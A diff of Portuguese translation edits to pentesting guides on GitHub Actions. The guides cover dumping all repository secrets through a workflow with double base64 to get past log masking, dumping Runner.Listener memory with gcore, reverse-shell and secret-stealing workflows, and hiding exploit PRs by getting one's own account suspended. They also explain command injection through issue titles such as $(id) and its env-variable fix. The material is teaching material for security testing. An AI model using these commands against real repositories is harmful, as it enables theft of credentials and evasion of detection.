||||
```
|
||||
### Acessando AWS e GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
Consulte as seguintes páginas:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -472,7 +472,7 @@ Check the following pages:
|
||||
|
||||
Se você estiver injetando conteúdo em um script, é interessante saber como acessar secrets:
|
||||
|
||||
- Se o secret ou token estiver definido em uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
- Se o secret ou token estiver definido como uma **variável de ambiente**, eles podem ser acessados diretamente através do ambiente usando **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Obter reverse shell with secrets</summary>
|
||||
<summary>Obter reverse shell usando secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -530,11 +530,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Para JavaScript actions, os secrets são passados via environment variables
|
||||
- Para JavaScript actions os secrets são enviados através de environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Para uma **custom action**, o risco pode variar dependendo de como um programa usa o secret que obteve do **argument**:
|
||||
- Para uma **custom action**, o risco pode variar dependendo de como um programa está usando o secret que obteve do **argument**:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -542,7 +542,7 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para despejar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decode localmente:
|
||||
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para dumpar todos os repository/org/environment secrets. Use double base64 para evitar o log masking do GitHub e decode localmente:
|
||||
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
@@ -558,31 +558,31 @@ run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
Decodifique localmente:
|
||||
Decode localmente:
|
||||
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Dica: para stealth durante os testes, criptografe antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
|
||||
Dica: para furtividade durante testes, encripte antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
|
||||
|
||||
### Abusando de Self-hosted runners
|
||||
### Abusing Self-hosted runners
|
||||
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura fora do GitHub** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
|
||||
A forma de encontrar quais **Github Actions are being executed in non-github infrastructure** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
|
||||
|
||||
**Self-hosted** runners podem ter acesso a **extra sensitive information**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que estejam isolados e destruídos, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
|
||||
**Self-hosted** runners podem ter acesso a **informações sensíveis extras**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que esteja isolado e destruído, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
|
||||
|
||||
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
|
||||
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que irá conter todos os secrets dos workflows em qualquer etapa ao dumpar sua memória:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Confira [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Consulte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Registro de Imagens Docker do Github
|
||||
### Github Docker Images Registry
|
||||
|
||||
É possível criar Github actions que irão **construir e armazenar uma Docker image dentro do Github**.\
|
||||
Um exemplo pode ser encontrado no elemento expansível a seguir:
|
||||
É possível criar Github actions que irão **construir e armazenar uma imagem Docker dentro do Github**.\\
|
||||
Um exemplo pode ser encontrado no item expansível a seguir:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -617,33 +617,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Como você pode ver no código anterior, o Github registry é hospedado em **`ghcr.io`**.
|
||||
Como você pode ver no código anterior, o Github registry está hospedado em **`ghcr.io`**.
|
||||
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
|
||||
Um usuário com permissões de leitura sobre o repo poderá então baixar a Docker Image usando um personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Então, o usuário poderia buscar por **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Informações sensíveis nos logs do Github Actions
|
||||
### Informações sensíveis nos Github Actions logs
|
||||
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá‑los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que esteja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das actions e **evitar mostrá-los**, **outros dados sensíveis** que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Encobrindo seus rastros
|
||||
## Ocultando seus rastros
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR criado é claramente visível ao público no Github e para a conta GitHub alvo. No GitHub por padrão, nós **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou conseguir que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso iria **esconder todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR).
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Antes de tudo, qualquer PR aberto fica claramente visível ao público no Github e para a conta GitHub alvo. No GitHub, por padrão, nós **não podemos apagar um PR da internet**, mas há um detalhe. Para contas do Github que são **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Então, para esconder sua atividade você precisa ou fazer com que sua **conta GitHub seja suspensa ou que sua conta seja sinalizada**. Isso **ocultaria todas as suas atividades** no GitHub da internet (basicamente remover todos os seus exploit PR)
|
||||
|
||||
Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no github.
|
||||
Uma organização no GitHub é muito pró-ativa em reportar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em um Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e pronto, seu exploit fica invisível no GitHub.
|
||||
|
||||
> [!WARNING]
|
||||
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela UI do GitHub o PR teria sido removido.
|
||||
> A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub via SIEM, já que a partir do GitHub UI o PR seria removido.
|
||||
|
||||
## References
|
||||
## Referências
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
## Entendendo o risco
|
||||
|
||||
GitHub Actions renderiza expressões ${{ ... }} antes da etapa ser executada. O valor renderizado é inserido no programa da etapa (para run steps, um shell script). Se você interpolar entrada não confiável diretamente dentro de run:, o atacante controla parte do programa do shell e pode executar comandos arbitrários.
|
||||
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the step’s program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Pontos-chave:
|
||||
- A renderização ocorre antes da execução. O run script é gerado com todas as expressões resolvidas e então executado pelo shell.
|
||||
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que o disparou (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting inside run: não é uma defesa confiável, porque a injeção ocorre na fase de renderização do template. Atacantes podem quebrar as aspas ou injetar operadores via entrada especialmente criada.
|
||||
- A renderização ocorre antes da execução. O script de run é gerado com todas as expressões resolvidas e então executado pelo shell.
|
||||
- Muitos contexts contêm campos controlados pelo usuário dependendo do evento que dispara (issues, PRs, comments, discussions, forks, stars, etc.). Veja a referência de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting dentro de run: não é uma defesa confiável, porque a injeção acontece na fase de renderização do template. Atacantes podem sair das aspas ou injetar operadores via input maliciosamente construído.
|
||||
|
||||
## Padrão vulnerável → RCE no runner
|
||||
## Vulnerable pattern → RCE on runner
|
||||
|
||||
Workflow vulnerável (disparado quando alguém abre uma nova issue):
|
||||
```yaml
|
||||
@@ -36,7 +36,7 @@ with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
Se um atacante abrir uma issue intitulada $(id), a etapa renderizada torna-se:
|
||||
Se um atacante abrir uma issue com o título $(id), o step renderizado torna-se:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
@@ -45,11 +45,11 @@ A substituição de comando executa id no runner. Exemplo de saída:
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Por que colocar entre aspas não te salva:
|
||||
- As expressões são renderizadas primeiro, e então o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
|
||||
- As expressões são renderizadas primeiro, depois o script resultante é executado. Se o valor não confiável contiver $(...), `;`, `"`/`'`, ou quebras de linha, ele pode alterar a estrutura do programa apesar das suas aspas.
|
||||
|
||||
## Padrão seguro (variáveis shell via env)
|
||||
## Padrão seguro (shell variables via env)
|
||||
|
||||
Mitigação correta: copie a entrada não confiável para uma variável de ambiente e, em seguida, use expansão nativa do shell ($VAR) no script de execução. Não reinserir com ${{ ... }} dentro do comando.
|
||||
Mitigação correta: copie a entrada não confiável para uma variável de ambiente, depois use a expansão nativa do shell ($VAR) no run script. Não re-incorpore com ${{ ... }} dentro do comando.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
@@ -66,9 +66,9 @@ Notas:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Superfícies acionáveis por leitores (trate como não confiáveis)
|
||||
## Reader-triggerable surfaces (treat as untrusted)
|
||||
|
||||
Contas com permissão somente de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado por um atacante, a menos que se prove o contrário. Exemplos:
|
||||
Contas com apenas permissão de leitura em repositórios públicos ainda podem acionar muitos eventos. Qualquer campo em contexts derivados desses eventos deve ser considerado controlado pelo atacante, a menos que se prove o contrário. Exemplos:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
@@ -79,14 +79,14 @@ Contas com permissão somente de leitura em repositórios públicos ainda podem
|
||||
|
||||
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Dicas práticas
|
||||
## Practical tips
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
|
||||
Reference in New Issue
Block a user